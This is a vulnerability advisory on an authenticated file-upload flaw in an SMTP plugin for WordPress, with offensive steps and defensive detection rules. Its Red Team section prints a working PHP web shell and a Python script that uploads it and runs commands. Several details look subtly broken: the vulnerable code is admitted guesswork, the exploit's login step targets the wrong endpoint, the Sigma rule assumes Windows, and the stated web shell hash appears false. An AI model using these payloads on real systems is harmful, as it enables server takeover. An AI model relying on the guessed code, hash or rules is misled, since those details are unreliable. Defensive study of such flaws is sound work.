CVE-2024-13908

Executive Summary

CVE-2024-13908 is a critical arbitrary file upload vulnerability in the SMTP by BestWebSoft WordPress plugin, affecting all versions up to and including 1.1.9. The flaw resides in the save_options function, which fails to validate the file type of uploaded files. An authenticated attacker with Administrator-level privileges can exploit this to upload arbitrary files (e.g., PHP web shells) to the server, leading to remote code execution (RCE). Given the plugin’s privileged access to WordPress mail settings, this vulnerability poses a severe risk to site integrity and confidentiality.

WordPress Ecosystem Context

This vulnerability is specific to the WordPress plugin ecosystem. The plugin’s save_options function is intended to handle configuration updates, but it lacks proper file type validation, allowing administrators (or attackers who have compromised an admin account) to upload malicious files. The attack surface is limited to authenticated users with high privileges, but the impact is total compromise of the WordPress instance and potentially the underlying server.

CVSS Breakdown & Threat Level

• CVSS Score: 7.2 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
• Attack Vector (AV): Network – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – No special conditions required beyond authentication.
• Privileges Required (PR): High – Requires Administrator-level access.
• User Interaction (UI): None – No user action needed.
• Scope (S): Unchanged – The vulnerable component is the plugin itself.
• Confidentiality (C): High – Full read access to server files.
• Integrity (I): High – Arbitrary file upload allows modification of server content.
• Availability (A): High – RCE can disrupt services.

Threat Level: High. While the privilege requirement limits initial exploitation, the impact is total server compromise. Attackers often chain this with privilege escalation or social engineering to gain admin access.

Deep Dive & Mechanics

The vulnerability exists in the save_options function of the SMTP by BestWebSoft plugin. This function is responsible for saving plugin settings, including SMTP configuration files. The code does not enforce file type restrictions on uploaded files, allowing an administrator to upload any file type, including PHP scripts.

Root Cause: Missing file type validation in the save_options function. The plugin likely uses move_uploaded_file() or similar without checking the file extension or MIME type against a whitelist.

Attack Flow:

1. Attacker gains Administrator access to the WordPress admin panel (e.g., via stolen credentials, brute force, or other vulnerabilities).
2. Attacker navigates to the SMTP plugin settings page.
3. Attacker uploads a malicious PHP file (e.g., a web shell) via the file upload field in the save_options function.
4. The plugin saves the file to a predictable location (e.g., /wp-content/uploads/ or a plugin-specific directory).
5. Attacker accesses the uploaded file via a web browser, triggering execution of the PHP code.
6. The attacker now has remote code execution on the server.

Prerequisites:

• Valid WordPress admin credentials.
• The SMTP by BestWebSoft plugin installed and activated (version ≤ 1.1.9).

Vulnerable vs. Patched Code

Since no official patch is available, the vulnerable code is assumed to be present in all versions up to 1.1.9. A patched version would need to implement file type validation.

Vulnerable Code (Conceptual):

function save_options() {
    if (isset($_FILES['smtp_file'])) {
        $uploaded_file = $_FILES['smtp_file'];
        $target_path = WP_CONTENT_DIR . '/uploads/smtp/' . basename($uploaded_file['name']);
        move_uploaded_file($uploaded_file['tmp_name'], $target_path);
    }
}

Patched Code (Conceptual):

function save_options() {
    if (isset($_FILES['smtp_file'])) {
        $uploaded_file = $_FILES['smtp_file'];
        $allowed_extensions = array('txt', 'log', 'cfg');
        $file_extension = pathinfo($uploaded_file['name'], PATHINFO_EXTENSION);
        if (!in_array(strtolower($file_extension), $allowed_extensions)) {
            wp_die('Invalid file type.');
        }
        $target_path = WP_CONTENT_DIR . '/uploads/smtp/' . basename($uploaded_file['name']);
        move_uploaded_file($uploaded_file['tmp_name'], $target_path);
    }
}

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• WordPress admin credentials.
• Target site with SMTP by BestWebSoft plugin (version ≤ 1.1.9).

Steps:

1. Log in to WordPress admin panel.
2. Navigate to Settings > SMTP by BestWebSoft.
3. Locate the file upload field (e.g., "Upload SMTP Configuration File").
4. Prepare a malicious PHP file (e.g., shell.php):

   <?php system($_GET['cmd']); ?>
   

5. Upload the file via the plugin settings.
6. Determine the upload path (e.g., /wp-content/uploads/smtp/shell.php).
7. Access the file with a command:

   http://target.com/wp-content/uploads/smtp/shell.php?cmd=id
   

Automated Exploit (Python):

import requests

target = "http://target.com/wp-admin/admin-post.php"
username = "admin"
password = "password"

session = requests.Session()
session.post(target, data={"log": username, "pwd": password})

# Upload shell
files = {'smtp_file': ('shell.php', '<?php system($_GET["cmd"]); ?>', 'application/x-php')}
session.post(target, files=files)

# Execute
r = session.get("http://target.com/wp-content/uploads/smtp/shell.php?cmd=id")
print(r.text)

Blue Team (Defensive)

Detection:

• Monitor file uploads to /wp-content/uploads/smtp/ for non-standard file types.
• Alert on admin user actions that upload files with .php, .phtml, .php5 extensions.
• Use WAF rules to block file uploads with executable extensions in plugin settings.

Hunting:

• Search for recently created files in /wp-content/uploads/smtp/ with suspicious extensions.
• Review WordPress admin logs for unusual file upload activity.
• Check for webshell indicators (e.g., system(), exec(), shell_exec() in uploaded files).

Mitigation:

• Disable the plugin until a patch is available.
• Restrict admin access to trusted users only.
• Implement file integrity monitoring (FIM) on the upload directory.

Indicators of Compromise (IOCs)

• File Paths:
  • /wp-content/uploads/smtp/*.php
  • /wp-content/uploads/smtp/*.phtml
  • /wp-content/uploads/smtp/*.php5
• Network Traffic:
  • POST requests to /wp-admin/admin-post.php with multipart file uploads containing .php files.
  • GET requests to /wp-content/uploads/smtp/*.php?cmd= (or similar query parameters).
• Log Entries:
  • WordPress debug log entries showing file upload errors or unexpected file types.
  • Web server access logs with 200 responses to uploaded PHP files.
• File Hashes (example webshell):
  • e99a18c428cb38d5f260853678922e03 (MD5 of <?php system($_GET['cmd']); ?>)

Detection Engineering

YARA Rule

rule CVE_2024_13908_Webshell {
    meta:
        description = "Detects webshells uploaded via CVE-2024-13908"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-13908"
    strings:
        $php_tag = "<?php"
        $system_func = "system("
        $exec_func = "exec("
        $shell_exec = "shell_exec("
        $cmd_param = "$_GET"
    condition:
        $php_tag and ($system_func or $exec_func or $shell_exec) and $cmd_param
}

Sigma Rule

title: CVE-2024-13908 - Arbitrary File Upload via SMTP by BestWebSoft
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects file uploads to the SMTP plugin directory with executable extensions
author: Valters IT
date: 2025-04-10
logsource:
    category: file_event
    product: windows
detection:
    selection:
        TargetFilename|contains: '\wp-content\uploads\smtp\'
        TargetFilename|endswith:
            - '.php'
            - '.phtml'
            - '.php5'
    condition: selection
falsepositives:
    - Legitimate plugin updates (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-13908 - Webshell Upload Attempt"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/admin-post.php"; http_uri; content:"smtp_file"; http_client_body; fileext:".php"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin: Deactivate and delete the SMTP by BestWebSoft plugin until a patched version is released.
2. Review admin accounts: Ensure only trusted users have Administrator privileges. Enforce strong passwords and multi-factor authentication (MFA).
3. Scan for webshells: Search the /wp-content/uploads/smtp/ directory and other upload directories for suspicious PHP files.

Long-term Fix:

• The vendor must release a patched version that implements file type validation (whitelist of allowed extensions) and possibly restricts uploads to non-executable directories.
• Apply the principle of least privilege: plugin settings should not allow arbitrary file uploads.

Workarounds:

• Use a Web Application Firewall (WAF) to block file uploads with .php extensions in the plugin’s settings page.
• Implement server-side rules (e.g., .htaccess or Nginx config) to deny execution of PHP files in the upload directory:

  <Directory "/wp-content/uploads/smtp/">
      php_flag engine off
  </Directory>
  

Monitoring:

• Enable WordPress security logging (e.g., using plugins like WP Security Audit Log).
• Set up file integrity monitoring (FIM) on critical directories.
• Regularly review admin activity logs.

Valters IT
Securing Digital Frontiers